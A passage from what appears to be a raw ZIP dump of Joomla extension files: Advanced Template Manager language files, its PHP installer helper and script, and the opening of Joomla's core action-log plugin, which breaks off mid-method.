href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PK	�[���e��Xactionlog/advancedtemplates/language/uk-UA/uk-UA.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PK	�[j���PPTactionlog/advancedtemplates/language/vi-VN/vi-VN.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="Với Advanced Template Manager bạn
có các tùy chọn và tính năng thêm để quản lý template của
bạn."

ATP_SETTINGS="Vui lòng xem [[%1:start link%]]Template Manager[[%2:end
link%]] để thiết lập."
ATP_THE_COMPONENT="the Advanced Template Manager component"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PK	�[���e��Xactionlog/advancedtemplates/language/vi-VN/vi-VN.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PK	�[~G����Tactionlog/advancedtemplates/language/zh-CN/zh-CN.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="操作日志 - Regular Labs -
高级模板管理器"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="记录高级模板管理器用户的操作"
ADVANCEDTEMPLATEMANAGER="高级模板管理器"

ADVANCEDTEMPLATEMANAGER_DESC="使用高级模板管理器,您可以使用其他选项和功能来控制模板。"

ATP_SETTINGS="有关设置,请参见[[%1:start
link%]]模板管理器[[%2:end link%]]。"
ATP_THE_COMPONENT="高级模板管理器组件"
ATP_THE_SYSTEM_PLUGIN="高级模板管理器系统插件"

ATP_ACTION_FOLDER_FILE_ACTIONS="文件夹/文件操作"
ATP_ACTION_TEMPLATE_COPY="复制模板"
ATP_ACTIONLOGS_FILE_ADDED="用户<a
href='{accountlink}'>{username}</a>将<a
href='{filelink}'>{file}</a>添加到模板{template}"
ATP_ACTIONLOGS_FILE_DELETED="用户<a
href='{accountlink}'>{username}</a>已从模板{template}中删除{file}"
ATP_ACTIONLOGS_FILE_UPDATED="用户<a
href='{accountlink}'>{username}</a>已从模板{template}中更新<a
href='{filelink}'>{file}</a>"
ATP_ACTIONLOGS_STYLE_SET_HOME="用户<a
href='{accountlink}'>{username}</a>将默认模板样式更改为<a
href='{style_link}'>{style_name}</a>"
ATP_ACTIONLOGS_TEMPLATE_COPY="用户<a
href='{accountlink}'>{username}</a>创建了一个名为“{to_name}”的新模板(“{from_name}”的副本)"
ATP_TEMPLATE_FILE="模板文件"
PK	�[iV�;Xactionlog/advancedtemplates/language/zh-CN/zh-CN.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="操作日志 - Regular Labs -
高级模板管理器"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="记录高级模板管理器用户的操作"
ADVANCEDTEMPLATEMANAGER="高级模板管理器"
PK	�[+B��}Y}Y5actionlog/advancedtemplates/script.install.helper.phpnu�[���<?php
/**
 * @package         Advanced Template Manager
 * @version         3.9.5
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2021 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Filesystem\File as JFile;
use Joomla\CMS\Filesystem\Folder as JFolder;
use Joomla\CMS\Installer\Installer as JInstaller;
use Joomla\CMS\Language\Text as JText;

class PlgActionlogAdvancedTemplatesInstallerScriptHelper
{
	public $name              = '';
	public $alias             = '';
	public $extname           = '';
	public $extension_type    = '';
	public $plugin_folder     = 'system';
	public $module_position   = 'status';
	public $client_id         = 1;
	public $install_type      = 'install';
	public $show_message      = true;
	public $db                = null;
	public $softbreak         = null;
	public $installed_version = '';

	public function __construct(&$params)
	{
		$this->extname = $this->extname ?: $this->alias;
		$this->db      = JFactory::getDbo();
	}

	public function preflight($route, $adapter)
	{
		if ( ! in_array($route, ['install', 'update']))
		{
			return true;
		}

		JFactory::getLanguage()->load('plg_system_regularlabsinstaller',
JPATH_PLUGINS . '/system/regularlabsinstaller');

		$this->installed_version =
$this->getVersion($this->getInstalledXMLFile());

		if ($this->show_message && $this->isInstalled())
		{
			$this->install_type = 'update';
		}

//		if ($this->extension_type == 'component')
//		{
//			// Remove admin menu to prevent error on creating it again
//			$query = $this->db->getQuery(true)
//				->delete('#__menu')
//				->where($this->db->quoteName('path') . ' =
' . $this->db->quote('com-' . $this->extname))
//				->where($this->db->quoteName('client_id') . '
= 1');
//			$this->db->setQuery($query);
//			$this->db->execute();
//		}

		if ($this->onBeforeInstall($route) === false)
		{
			return false;
		}

		return true;
	}

	public function postflight($route, $adapter)
	{
		$this->removeGlobalLanguageFiles();
		$this->removeUnusedLanguageFiles();

		JFactory::getLanguage()->load($this->getPrefix() . '_' .
$this->extname, $this->getMainFolder());

		if ( ! in_array($route, ['install', 'update']))
		{
			return true;
		}

		$this->fixExtensionNames();
		$this->updateUpdateSites();
		$this->removeAdminCache();

		if ($this->onAfterInstall($route) === false)
		{
			return false;
		}

		if ($route == 'install')
		{
			$this->publishExtension();
		}

		if ($this->show_message)
		{
			$this->addInstalledMessage();
		}

		JFactory::getCache()->clean('com_plugins');
		JFactory::getCache()->clean('_system');

		return true;
	}

	public function isInstalled()
	{
		if ( ! is_file($this->getInstalledXMLFile()))
		{
			return false;
		}

		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('extension_id'))
			->from('#__extensions')
			->where($this->db->quoteName('type') . ' =
' . $this->db->quote($this->extension_type))
			->where($this->db->quoteName('element') . ' =
' . $this->db->quote($this->getElementName()))
			->setLimit(1);
		$this->db->setQuery($query);
		$result = $this->db->loadResult();

		return empty($result) ? false : true;
	}

	public function getMainFolder()
	{
		switch ($this->extension_type)
		{
			case 'plugin' :
				return JPATH_PLUGINS . '/' . $this->plugin_folder .
'/' . $this->extname;

			case 'component' :
				return JPATH_ADMINISTRATOR . '/components/com_' .
$this->extname;

			case 'module' :
				return JPATH_ADMINISTRATOR . '/modules/mod_' .
$this->extname;

			case 'library' :
				return JPATH_SITE . '/libraries/' . $this->extname;
		}
	}

	public function getInstalledXMLFile()
	{
		return $this->getXMLFile($this->getMainFolder());
	}

	public function getCurrentXMLFile()
	{
		return $this->getXMLFile(__DIR__);
	}

	public function getXMLFile($folder)
	{
		switch ($this->extension_type)
		{
			case 'module' :
				return $folder . '/mod_' . $this->extname .
'.xml';

			default :
				return $folder . '/' . $this->extname . '.xml';
		}
	}

	public function uninstallExtension($extname, $type = 'plugin',
$folder = 'system', $show_message = true)
	{
		if (empty($extname))
		{
			return;
		}

		$folders = [];

		switch ($type)
		{
			case 'plugin':
				$folders[] = JPATH_PLUGINS . '/' . $folder . '/' .
$extname;
				break;

			case 'component':
				$folders[] = JPATH_ADMINISTRATOR . '/components/com_' .
$extname;
				$folders[] = JPATH_SITE . '/components/com_' . $extname;
				break;

			case 'module':
				$folders[] = JPATH_ADMINISTRATOR . '/modules/mod_' .
$extname;
				$folders[] = JPATH_SITE . '/modules/mod_' . $extname;
				break;
		}

		if ( ! $this->foldersExist($folders))
		{
			return;
		}

		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('extension_id'))
			->from('#__extensions')
			->where($this->db->quoteName('element') . ' =
' . $this->db->quote($this->getElementName($type, $extname)))
			->where($this->db->quoteName('type') . ' =
' . $this->db->quote($type));

		if ($type == 'plugin')
		{
			$query->where($this->db->quoteName('folder') . '
= ' . $this->db->quote($folder));
		}

		$this->db->setQuery($query);
		$ids = $this->db->loadColumn();

		if (empty($ids))
		{
			foreach ($folders as $folder)
			{
				JFactory::getApplication()->enqueueMessage('2. Deleting: '
. $folder, 'notice');
				JFolder::delete($folder);
			}

			return;
		}

		$ignore_ids =
JFactory::getApplication()->getUserState('rl_ignore_uninstall_ids',
[]);

		if (JFactory::getApplication()->input->get('option') ==
'com_installer' &&
JFactory::getApplication()->input->get('task') ==
'remove')
		{
			// Don't attempt to uninstall extensions that are already selected
to get uninstalled by them selves
			$ignore_ids = array_merge($ignore_ids,
JFactory::getApplication()->input->get('cid', [],
'array'));
			JFactory::getApplication()->input->set('cid',
array_merge($ignore_ids, $ids));
		}

		$ids = array_diff($ids, $ignore_ids);

		if (empty($ids))
		{
			return;
		}

		$ignore_ids = array_merge($ignore_ids, $ids);
		JFactory::getApplication()->setUserState('rl_ignore_uninstall_ids',
$ignore_ids);

		foreach ($ids as $id)
		{
			$tmpInstaller = new JInstaller;
			$tmpInstaller->uninstall($type, $id);
		}

		if ($show_message)
		{
			JFactory::getApplication()->enqueueMessage(
				JText::sprintf(
					'COM_INSTALLER_UNINSTALL_SUCCESS',
					JText::_('COM_INSTALLER_TYPE_TYPE_' . strtoupper($type))
				), 'success'
			);
		}
	}

	public function foldersExist($folders = [])
	{
		foreach ($folders as $folder)
		{
			if (is_dir($folder))
			{
				return true;
			}
		}

		return false;
	}

	public function uninstallPlugin($extname, $folder = 'system',
$show_message = true)
	{
		$this->uninstallExtension($extname, 'plugin', $folder,
$show_message);
	}

	public function uninstallComponent($extname, $show_message = true)
	{
		$this->uninstallExtension($extname, 'component', null,
$show_message);
	}

	public function uninstallModule($extname, $show_message = true)
	{
		$this->uninstallExtension($extname, 'module', null,
$show_message);
	}

	public function publishExtension()
	{
		switch ($this->extension_type)
		{
			case 'plugin' :
				$this->publishPlugin();

			case 'module' :
				$this->publishModule();
		}
	}

	public function publishPlugin()
	{
		$query = $this->db->getQuery(true)
			->update('#__extensions')
			->set($this->db->quoteName('enabled') . ' =
1')
			->where($this->db->quoteName('type') . ' =
' . $this->db->quote('plugin'))
			->where($this->db->quoteName('element') . ' =
' . $this->db->quote($this->extname))
			->where($this->db->quoteName('folder') . ' =
' . $this->db->quote($this->plugin_folder));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	public function publishModule()
	{
		// Get module id
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('id'))
			->from('#__modules')
			->where($this->db->quoteName('module') . ' =
' . $this->db->quote('mod_' . $this->extname))
			->where($this->db->quoteName('client_id') . ' =
' . (int) $this->client_id);
		$this->db->setQuery($query, 0, 1);
		$id = $this->db->loadResult();

		if ( ! $id)
		{
			return;
		}

		// check if module is already in the modules_menu table (meaning is is
already saved)
		$query->clear()
			->select($this->db->quoteName('moduleid'))
			->from('#__modules_menu')
			->where($this->db->quoteName('moduleid') . ' =
' . (int) $id)
			->setLimit(1);
		$this->db->setQuery($query);
		$exists = $this->db->loadResult();

		if ($exists)
		{
			return;
		}

		// Get highest ordering number in position
		$query->clear()
			->select($this->db->quoteName('ordering'))
			->from('#__modules')
			->where($this->db->quoteName('position') . ' =
' . $this->db->quote($this->module_position))
			->where($this->db->quoteName('client_id') . ' =
' . (int) $this->client_id)
			->order('ordering DESC');
		$this->db->setQuery($query, 0, 1);
		$ordering = $this->db->loadResult();
		$ordering++;

		// publish module and set ordering number
		$query->clear()
			->update('#__modules')
			->set($this->db->quoteName('published') . ' =
1')
			->set($this->db->quoteName('ordering') . ' =
' . (int) $ordering)
			->set($this->db->quoteName('position') . ' =
' . $this->db->quote($this->module_position))
			->where($this->db->quoteName('id') . ' = '
. (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();

		// add module to the modules_menu table
		$query->clear()
			->insert('#__modules_menu')
			->columns([$this->db->quoteName('moduleid'),
$this->db->quoteName('menuid')])
			->values((int) $id . ', 0');
		$this->db->setQuery($query);
		$this->db->execute();
	}

	public function addInstalledMessage()
	{
		JFactory::getApplication()->enqueueMessage(
			JText::sprintf(
				$this->install_type == 'update' ?
'RLI_THE_EXTENSION_HAS_BEEN_UPDATED_SUCCESSFULLY' :
'RLI_THE_EXTENSION_HAS_BEEN_INSTALLED_SUCCESSFULLY',
				'<strong>' . JText::_($this->name) .
'</strong>',
				'<strong>' . $this->getVersion() .
'</strong>',
				$this->getFullType()
			), 'success'
		);
	}

	public function getPrefix()
	{
		switch ($this->extension_type)
		{
			case 'plugin':
				return JText::_('plg_' .
strtolower($this->plugin_folder));

			case 'component':
				return JText::_('com');

			case 'module':
				return JText::_('mod');

			case 'library':
				return JText::_('lib');

			default:
				return $this->extension_type;
		}
	}

	public function getElementName($type = null, $extname = null)
	{
		$type    = is_null($type) ? $this->extension_type : $type;
		$extname = is_null($extname) ? $this->extname : $extname;

		switch ($type)
		{
			case 'component' :
				return 'com_' . $extname;

			case 'module' :
				return 'mod_' . $extname;

			case 'plugin' :
			default:
				return $extname;
		}
	}

	public function getFullType()
	{
		return JText::_('RLI_' . strtoupper($this->getPrefix()));
	}

	public function getVersion($file = '')
	{
		$file = $file ?: $this->getCurrentXMLFile();

		if ( ! is_file($file))
		{
			return '';
		}

		$xml = JInstaller::parseXMLInstallFile($file);

		if ( ! $xml || ! isset($xml['version']))
		{
			return '';
		}

		return $xml['version'];
	}

	public function isNewer()
	{
		if ( ! $this->installed_version)
		{
			return true;
		}

		$package_version = $this->getVersion();

		return version_compare($this->installed_version, $package_version,
'<=');
	}

	public function canInstall()
	{
		// The extension is not installed yet
		if ( ! $this->installed_version)
		{
			return true;
		}

		// The free version is installed. So any version is ok to install
		if (strpos($this->installed_version, 'PRO') === false)
		{
			return true;
		}

		// Current package is a pro version, so all good
		if (strpos($this->getVersion(), 'PRO') !== false)
		{
			return true;
		}

		JFactory::getLanguage()->load($this->getPrefix() . '_' .
$this->extname, __DIR__);

		JFactory::getApplication()->enqueueMessage(JText::_('RLI_ERROR_PRO_TO_FREE'),
'error');

		JFactory::getApplication()->enqueueMessage(
			html_entity_decode(
				JText::sprintf(
					'RLI_ERROR_UNINSTALL_FIRST',
					'<a href="https://www.regularlabs.com/extensions/' .
$this->alias . '" target="_blank">',
					'</a>',
					JText::_($this->name)
				)
			), 'error'
		);

		return false;
	}

	/*
	 * Fixes incorrectly formed versions because of issues in old packager
	 */
	public function fixFileVersions($file)
	{
		if (is_array($file))
		{
			foreach ($file as $f)
			{
				self::fixFileVersions($f);
			}

			return;
		}

		if ( ! is_string($file) || ! is_file($file))
		{
			return;
		}

		$contents = file_get_contents($file);

		if (
			strpos($contents, 'FREEFREE') === false
			&& strpos($contents, 'FREEPRO') === false
			&& strpos($contents, 'PROFREE') === false
			&& strpos($contents, 'PROPRO') === false
		)
		{
			return;
		}

		$contents = str_replace(
			['FREEFREE', 'FREEPRO', 'PROFREE',
'PROPRO'],
			['FREE', 'PRO', 'FREE', 'PRO'],
			$contents
		);

		JFile::write($file, $contents);
	}

	public function onBeforeInstall($route)
	{
		if ( ! $this->canInstall())
		{
			return false;
		}

		return true;
	}

	public function onAfterInstall($route)
	{
		return true;
	}

	public function delete($files = [])
	{
		foreach ($files as $file)
		{
			if (is_dir($file))
			{
				JFolder::delete($file);
			}

			if (is_file($file))
			{
				JFile::delete($file);
			}
		}
	}

	public function fixAssetsRules()
	{
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('rules'))
			->from('#__assets')
			->where($this->db->quoteName('title') . ' =
' . $this->db->quote('com_' . $this->extname))
			->setLimit(1);
		$this->db->setQuery($query);
		$rules = $this->db->loadResult();

		$rules = json_decode($rules);

		if (empty($rules))
		{
			return;
		}

		foreach ($rules as $key => $value)
		{
			if ( ! empty($value))
			{
				continue;
			}

			unset($rules->$key);
		}

		$rules = json_encode($rules);

		$query = $this->db->getQuery(true)
			->update($this->db->quoteName('#__assets'))
			->set($this->db->quoteName('rules') . ' = '
. $this->db->quote($rules))
			->where($this->db->quoteName('title') . ' =
' . $this->db->quote('com_' . $this->extname));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function fixExtensionNames()
	{
		switch ($this->extension_type)
		{
			case 'module' :
				$this->fixModuleNames();
		}
	}

	private function fixModuleNames()
	{
		// Get module id
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('id'))
			->from('#__modules')
			->where($this->db->quoteName('module') . ' =
' . $this->db->quote('mod_' . $this->extname))
			->where($this->db->quoteName('client_id') . ' =
' . (int) $this->client_id);
		$this->db->setQuery($query, 0, 1);
		$module_id = $this->db->loadResult();

		if (empty($module_id))
		{
			return;
		}

		$title = 'Regular Labs - ' . JText::_($this->name);

		$query->clear()
			->update('#__modules')
			->set($this->db->quoteName('title') . ' = '
. $this->db->quote($title))
			->where($this->db->quoteName('id') . ' = '
. (int) $module_id)
			->where($this->db->quoteName('title') . ' LIKE
' . $this->db->quote('NoNumber%'));
		$this->db->setQuery($query);
		$this->db->execute();

		// Fix module assets

		// Get asset id
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('id'))
			->from('#__assets')
			->where($this->db->quoteName('name') . ' =
' . $this->db->quote('com_modules.module.' . (int)
$module_id))
			->where($this->db->quoteName('title') . ' LIKE
' . $this->db->quote('NoNumber%'))
			->setLimit(1);
		$this->db->setQuery($query);
		$asset_id = $this->db->loadResult();

		if (empty($asset_id))
		{
			return;
		}

		$query->clear()
			->update('#__assets')
			->set($this->db->quoteName('title') . ' = '
. $this->db->quote($title))
			->where($this->db->quoteName('id') . ' = '
. (int) $asset_id);
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateUpdateSites()
	{
		$this->removeOldUpdateSites();
		$this->updateNamesInUpdateSites();
		$this->updateHttptoHttpsInUpdateSites();
		$this->removeDuplicateUpdateSite();
		$this->updateDownloadKey();
	}

	private function removeOldUpdateSites()
	{
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('update_site_id'))
			->from('#__update_sites')
			->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('nonumber.nl%'))
			->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'));
		$this->db->setQuery($query, 0, 1);
		$id = $this->db->loadResult();

		if ( ! $id)
		{
			return;
		}

		$query->clear()
			->delete('#__update_sites')
			->where($this->db->quoteName('update_site_id') .
' = ' . (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();

		$query->clear()
			->delete('#__update_sites_extensions')
			->where($this->db->quoteName('update_site_id') .
' = ' . (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateNamesInUpdateSites()
	{
		$name = JText::_($this->name);
		if ($this->alias != 'extensionmanager')
		{
			$name = 'Regular Labs - ' . $name;
		}

		$query = $this->db->getQuery(true)
			->update('#__update_sites')
			->set($this->db->quoteName('name') . ' = '
. $this->db->quote($name))
			->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'))
			->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateHttptoHttpsInUpdateSites()
	{
		$query = $this->db->getQuery(true)
			->update('#__update_sites')
			->set($this->db->quoteName('location') . ' =
REPLACE('
				. $this->db->quoteName('location') . ', '
				. $this->db->quote('http://') . ', '
				. $this->db->quote('https://')
				. ')')
			->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('http://download.regularlabs.com%'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function removeDuplicateUpdateSite()
	{
		// First check to see if there is a pro entry

		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('update_site_id'))
			->from('#__update_sites')
			->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'))
			->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'))
			->where($this->db->quoteName('location') . ' NOT
LIKE ' . $this->db->quote('%pro=1%'))
			->setLimit(1);
		$this->db->setQuery($query);
		$id = $this->db->loadResult();

		// Otherwise just get the first match
		if ( ! $id)
		{
			$query->clear()
				->select($this->db->quoteName('update_site_id'))
				->from('#__update_sites')
				->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'))
				->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'));
			$this->db->setQuery($query, 0, 1);
			$id = $this->db->loadResult();

			// Remove pro=1 from the found update site
			$query->clear()
				->update('#__update_sites')
				->set($this->db->quoteName('location')
					. ' = replace(' .
$this->db->quoteName('location') . ', ' .
$this->db->quote('&pro=1') . ', ' .
$this->db->quote('') . ')')
				->where($this->db->quoteName('update_site_id') .
' = ' . (int) $id);
			$this->db->setQuery($query);
			$this->db->execute();
		}

		if ( ! $id)
		{
			return;
		}

		$query->clear()
			->select($this->db->quoteName('update_site_id'))
			->from('#__update_sites')
			->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'))
			->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'))
			->where($this->db->quoteName('update_site_id') .
' != ' . $id);
		$this->db->setQuery($query);
		$ids = $this->db->loadColumn();

		if (empty($ids))
		{
			return;
		}

		$query->clear()
			->delete('#__update_sites')
			->where($this->db->quoteName('update_site_id') .
' IN (' . implode(',', $ids) . ')');
		$this->db->setQuery($query);
		$this->db->execute();

		$query->clear()
			->delete('#__update_sites_extensions')
			->where($this->db->quoteName('update_site_id') .
' IN (' . implode(',', $ids) . ')');
		$this->db->setQuery($query);
		$this->db->execute();
	}

	// Save the download key from the Regular Labs Extension Manager config to
the update sites
	private function updateDownloadKey()
	{
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('params'))
			->from('#__extensions')
			->where($this->db->quoteName('element') . ' =
' . $this->db->quote('com_regularlabsmanager'));
		$this->db->setQuery($query);
		$params = $this->db->loadResult();

		if ( ! $params)
		{
			return;
		}

		$params = json_decode($params);

		if ( ! isset($params->key))
		{
			return;
		}

		// Add the key on all regularlabs.com urls
		$query->clear()
			->update('#__update_sites')
			->set($this->db->quoteName('extra_query') . ' =
' . $this->db->quote('k=' . $params->key))
			->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function removeAdminCache()
	{
		$this->delete([JPATH_ADMINISTRATOR . '/cache/regularlabs']);
		$this->delete([JPATH_ADMINISTRATOR . '/cache/nonumber']);
	}

	private function removeGlobalLanguageFiles()
	{
		if ($this->extension_type == 'library')
		{
			return;
		}

		$language_files = JFolder::files(JPATH_ADMINISTRATOR .
'/language', '\.' . $this->getPrefix() .
'_' . $this->extname . '\.', true, true);

		// Remove override files
		foreach ($language_files as $i => $language_file)
		{
			if (strpos($language_file, '/overrides/') === false)
			{
				continue;
			}

			unset($language_files[$i]);
		}

		if (empty($language_files))
		{
			return;
		}

		JFile::delete($language_files);
	}

	private function removeUnusedLanguageFiles()
	{
		if ($this->extension_type == 'library')
		{
			return;
		}

		if ( ! is_file(__DIR__ . '/language'))
		{
			return;
		}

		$installed_languages = array_merge(
			is_file(JPATH_SITE . '/language') ?
JFolder::folders(JPATH_SITE . '/language') : [],
			is_file(JPATH_ADMINISTRATOR . '/language') ?
JFolder::folders(JPATH_ADMINISTRATOR . '/language') : []
		);

		$languages = array_diff(
			JFolder::folders(__DIR__ . '/language') ?: [],
			$installed_languages
		);

		$delete_languages = [];

		foreach ($languages as $language)
		{
			$delete_languages[] = $this->getMainFolder() . '/language/'
. $language;
		}

		if (empty($delete_languages))
		{
			return;
		}

		// Remove folders
		$this->delete($delete_languages);
	}
}
PK	�[��c�QQ.actionlog/advancedtemplates/script.install.phpnu�[���<?php
/**
 * @package         Advanced Template Manager
 * @version         3.9.5
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2021 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

require_once __DIR__ . '/script.install.helper.php';

class PlgActionlogAdvancedTemplatesInstallerScript extends
PlgActionlogAdvancedTemplatesInstallerScriptHelper
{
	public $name           = 'ADVANCEDTEMPLATEMANAGER';
	public $alias          = 'advancedtemplates';
	public $extension_type = 'plugin';
	public $plugin_folder  = 'actionlog';

	public function uninstall($adapter)
	{
		$this->uninstallComponent($this->extname);
		$this->uninstallPlugin($this->extname, 'system');
	}
}
PK	�[l���s�sactionlog/joomla/joomla.phpnu�[���<?php
/**
 * @package     Joomla.Plugins
 * @subpackage  System.actionlogs
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\User\User;
use Joomla\CMS\Version;
use Joomla\Utilities\ArrayHelper;

JLoader::register('ActionLogPlugin', JPATH_ADMINISTRATOR .
'/components/com_actionlogs/libraries/actionlogplugin.php');
JLoader::register('ActionlogsHelper', JPATH_ADMINISTRATOR .
'/components/com_actionlogs/helpers/actionlogs.php');

/**
 * Joomla! Users Actions Logging Plugin.
 *
 * @since  3.9.0
 */
class PlgActionlogJoomla extends ActionLogPlugin
{
	/**
	 * Array of loggable extensions.
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $loggableExtensions = array();

	/**
	 * Context aliases
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $contextAliases = array('com_content.form' =>
'com_content.article');

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe.
	 * @param   array   $config    An optional associative array of
configuration settings.
	 *
	 * @since   3.9.0
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		$params =
ComponentHelper::getComponent('com_actionlogs')->getParams();

		$this->loggableExtensions =
$params->get('loggable_extensions', array());
	}

	/**
	 * After save content logging method
	 * This method adds a record to #__action_logs contains (message, date,
context, user)
	 * Method is called right after the content is saved
	 *
	 * @param   string   $context  The context of the content passed to the
plugin
	 * @param   object   $article  A JTableContent object
	 * @param   boolean  $isNew    If the content is just about to be created
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onContentAfterSave($context, $article, $isNew)
	{
		if (isset($this->contextAliases[$context]))
		{
			$context = $this->contextAliases[$context];
		}

		$option = $this->app->input->getCmd('option');

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

